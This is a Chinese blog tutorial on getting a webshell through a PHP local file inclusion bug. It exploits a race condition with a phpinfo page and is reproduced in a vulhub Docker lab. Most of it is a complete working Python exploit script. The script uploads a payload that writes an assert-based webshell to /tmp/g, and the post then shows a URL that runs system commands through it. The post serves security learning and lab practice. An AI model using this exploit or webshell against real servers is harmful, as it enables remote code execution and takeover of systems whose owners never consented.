首页 > 系统相关 >文件包含漏洞在phpinfo条件竞争下获取WebShell

文件包含漏洞在phpinfo条件竞争下获取WebShell

时间:2023-10-13 13:11:08浏览次数:47  
标签:WebShell 文件 socket phpinfo sys 漏洞 php 数据包

PHP文件包含漏洞(利用phpinfo与条件竞争)

在PHP环境下,如果网站存在本地文件包含漏洞,但找不到可以包含的文件时,我们可以通过条件竞争来包含缓存文件的方法来获取webshell。又因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

前提

  • php环境下
  • 存在本地文件包含漏洞
  • 存在一个phpinfo页面
  • 存在条件竞争漏洞

原理

在PHP语言中,如果以multipart/form-data形式上传文件,php会把上传的文件名,临时文件路径等参数保存在$_FILES数组中。又由于文件大小不确定,为了防止文件过大导致的内存开销过大,所以php会将这个文件保存在/tmp目录并以php+6个随机字符来命名。即发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。并且这个临时文件,在请求结束后就会被立即删除。当有文件包含点,却没有合适的文件包含时我们就可以想办法包含/tmp目录的临时文件,而这个文件的内容是可以通过POST数据包控制的。

然而文件名具有随机性,且文件存活时间太短,如何才能快速的在缓存文件被删除之前找到它呢?这时候就需要phpinfo文件了,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以如果我们向phpinfo页面发送包含文件区块的POST数据包,再查询页面打印出来的$_FILES数组,自然就可以精确的获得缓存的文件名。但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。这个时候就需要用到条件竞争了。

我们需要让网站不要一次性把页面内容返回,而是慢慢返回。由于php默认的输出缓冲区大小为4096B,可以理解为php每次只给socket连接返回4096B,我们只需要在读取到缓存文件名时立即发送第二个关于文件包含的请求。此时,第一个请求的内容还没有返回完毕,会话没有结束,缓存文件还没有删除,于是我们就成功的包含了。

流程

  1. 发送第一个数据包给phpinfo页面,这个数据包采用multipart/form-data格式将需要包含的文件的内容填充在文件内容区域。同时该数据包的header、get等位置需要塞满大量垃圾数据,用来将phpinfo页面撑得非常大。
  2. php默认的输出缓冲区大小为4096B,可以理解为php每次返回4096B给socket连接。 所以我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
  3. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  4. 利用这个时间差,快速将第二个数据包,也就是文件包含请求的数据包发送到服务器,即可成功包含临时文件,最终getshell(因为php代码运行在内存中,所以只需要成功包含一次,就算缓存文件被删除也没关系)。

漏洞环境

使用vulhub

/app/vulhub-master/php/inclusion

使用docker启动

1.docker-compose build
2.docker-compose up -d

漏洞复现

环境启动后,访问http://your-ip:8080/phpinfo.php即可看到一个PHPINFO页面

访问http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。

因为该漏洞的利用需要短时间、高并发,所以需要用程序(exp.py)自动化执行实现了上述过程。

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=assert($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

这段代码构造了我们需要的两个不同的数据包

1.PHP配置信息数据包 (phpinforeq):

  • 发送HTTP POST请求,获取服务器上的PHP配置信息,特别是获取PHP tmp_name 值。
  • 通过请求的内容类型为multipart/form-data,模拟一个文件上传请求。
  • 数据包中包含了一个 PAYLOAD,其中包含了PHP代码,将在服务器上创建一个文件 /tmp/g 用于后续的LFI漏洞利用。
  • 数据包中还包含了一些 HTTP 头信息,同时该数据包的header、get等位置塞满大量垃圾数据,用来将phpinfo页面撑得非常大

2.LFI利用数据包 (lfireq):

  • 这个数据包是一个HTTP GET请求,用于利用服务器上的本地文件包含(LFI)漏洞。
  • 数据包中的 fn 参数用于指定要包含的文件名,它通过之前的PHP配置信息请求(phpinforeq)获取到的 tmp_name 值。
  • 此数据包将请求发送到 lfi.php 页面,并将 file 参数设置为获取的文件名 fn。
  • 通过这个数据包,攻击者可以利用LFI漏洞,将服务器上的文件包含到响应中。

用python执行:python2 exp.py your-ip 8080 100

成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=assert($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g

利用lfi.php,即可执行任意命令:如http://your-ip:8080/lfi.php?file=/tmp/g&1=system(%27id%27)

标签:WebShell,文件,socket,phpinfo,sys,漏洞,php,数据包
From: https://www.cnblogs.com/hong34/p/17761840.html

相关文章

  • LOG4j2 漏洞复现
    一、漏洞简介1.漏洞原理ApacheLog4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词${,攻击者就能将关键字所包含的内容当作变量来替......
  • SpringBootCMS漏洞复现分析
    SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。http://www.jrecms.com环境搭建修改src/main/......
  • 【文件上传漏洞】---基础(开始了解渗透流层)
    利用思路:常规类-扫描获取上传-会员中心上传-后台系统上传------各种途径上传CMS类(已知cms源码)编辑器类ckeditorfckeditorkindeditor------xxxeditor其他类/cve漏洞:解析漏洞cms漏洞其他编辑器/cve1@.什么是文件上传漏洞?有文件上传就有可能存在漏洞(主要......
  • 一图看懂CodeArts Inspector 三大特性,带你玩转漏洞管理服务
    ​​​​本文分享自华为云开发者联盟公众号《一图看懂华为云CodeArtsInspector三大特性,带你玩转漏洞管理服务》。华为云漏洞管理服务CodeArtsInspector是面向软件研发和服务运维提供的一站式漏洞管理能力,通过持续评估系统和应用等资产,内置风险量化管理和在线风险分析处置能力,帮......
  • 泛微OA e-office平台uploadify.php任意文件上传漏洞
    0x01漏洞描述泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。泛微OAe-office平台uploadify.php处存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限。 ......
  • Fuzz测试:发现软件隐患和漏洞的秘密武器
    0x01什么是模糊测试模糊测试(FuzzTesting)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点,以......
  • KSOA之TOM猫更改漏洞
        删除这一类的文件  好像是智友的 ......
  • 记一次从自动发卡平台渗透到挖掘chatgptai SQL注入 0day漏洞的过程
    引言本文介绍了一次从自动发卡平台渗透到挖掘chatgptaiSQL注入0day漏洞的记录,全程并未对任何资产进行任何破坏、数据窃取和获利获益等行为,只用于学习研究目的。因内容信息敏感,部门内容不放置截图,均以文字记录。漏洞挖掘访问发卡店铺,尝试输入/admin,发现管理平台,根据管理平台......
  • 记一次某通用供应链管理系统文件上传漏洞挖掘
    引言本文记录了一次对某通用供应链管理系统文件上传漏洞的挖掘,该通用产品使用了tomcat,但没有配置好tomcat管理后台的认证信息,导致了tomcat后台文件上传漏洞的发生。经测试,大部分使用该产品的资产均存在tomcat后台文件上传Nday的影响。漏洞挖掘路径FUZZ发现tomcat后台接口manag......
  • 记一次某大型会议官网任意密码重置漏洞挖掘(CNVD-2023-41929)
    记录一次本人CNVD漏洞挖掘的过程,此漏洞已被分配编号:CNVD-2023-41929引言本文记录了一次对某大型会议官网任意密码重置漏洞的挖掘,漏洞挖掘时该会议处于即将召开的状态,参会人员来自国际和国内。漏洞挖掘通过信息收集和测试发现存在一个管理后台,且有重置密码接口,但需要一个nonce......